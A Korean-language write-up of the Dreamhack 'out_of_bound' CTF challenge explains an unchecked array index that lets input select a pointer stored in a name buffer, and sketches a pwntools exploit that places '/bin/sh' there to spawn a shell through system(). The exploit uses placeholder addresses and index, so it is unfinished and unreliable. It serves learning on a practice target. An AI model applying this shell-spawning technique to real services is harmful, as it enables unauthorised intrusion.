

Dreamhack out_of_bound Writeup

```
char name[16];

char *command[10] = { "cat",
    "ls",
    "id",
    "ps",
    "file ./oob" };
void alarm_handler()
{
    puts("TIME OUT");
    exit(-1);
}

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main()
{
    int idx;

    initialize();

    printf("Admin name: ");
    read(0, name, sizeof(name));
    printf("What do you want?: ");

    scanf("%d", &idx);

    system(command[idx]);

    return 0;
}
```

주어진 소스코드이다. 코드의 동작을 살펴보았다.

1. command 배열

- 명령어 문자열 배열이다. 배열 크기는 10으로 설정되어 있지만 실제로는 5개의 명령어만 정의되어 있다. 나머지 인덱스(5~9)는 초기화되지 않은 상태로 남아 있다.

2. name 버퍼 및 입력 처리

- name 배열은 16바이트 크기로, 입력을 read로 읽어오며 최대 16바이트까지 가능하다.

3. 명령어 선택

- 사용자 입력을 정수(idx)로 받아 `command[idx]`의 값을 `system` 함수로 실행한다.

4. 타임아웃 처리

- 프로그램 실행이 30초를 초과하면 "TIME OUT" 메시지를 출력하고 프로그램을 종료한다.

문제의 제목인 **Out of bounds(OOB)**는 배열의 임의의 인덱스에 접근할 수 있는 취약점이다. OOB는 요소를 참조할 때, 인덱스 값이 음수거나 배열의 길이를 벗어날 때 발생한다.

이 코드에서는 명령어 선택 부분에서 idx 값의 범위를 제한하지 않는다. 따라서 배열 범위를 초과한 접근이 발생할 수 있다. Command 배열에서 지정되지 않은 10 이상의 값을 입력하면 된다.

이렇게 버퍼 오버플로우가 일어나면 인덱스에서 name을 참조할 수 있는 가능성이 생긴다.

이를 이용해서 셸을 얻어내야 한다. 일단 name에 `"/bin/sh"`을 저장하고, 인덱스에 name을 참조하도록 설정해둔 다음에 `system("/bin/sh")`를 실행하면 된다.

그런데 여기서 기존의 command 배열이 포인터 배열이라는 데에 유의해야 한다. 포인터 배열은 문자열의 주소가 들어가기에 name에 저장하는 `"/bin/sh"`또한 그냥 `"/bin/sh"`가 아닌 그 주소를 넣어야 한다.

그전에 name과 command의 주소를 구해야 할 것 같다. 그래서 gdb-peda 사용해서 알아보려고 했는데 파일 인식이 제대로 안되는지 계속 해당되는 바이너리 파일이 없다고 뜬다.

일단 관련 드림핵 강의를 참고하여 공격 시나리오라도 짜보았다.

1. 먼저 name과 command 주소 사이의 거리를 구한다.
2. 배열의 해당 인덱스에 접근하는 코드를 찾아 name에 접근하기 위한 인덱스의 번호를 알아낸다.
3. 이제 위에서 말했던 방법을 이용해서 익스플로잇 코드를 작성한다. 아래와 같은 형태가 될 것이다.

```
from pwn import *

p = remote("host3.dreamhack.games", 포트 번호)
e = ELF("./out_of_bound")
p.recvuntil("Admin name: ")
payload = p32(name주소+4) + b"/bin/sh"
p.sendline(payload)

p.recvuntil("What do you want?: ")
idx = "인덱스번호"
p.sendline(idx)
p.interactive()
```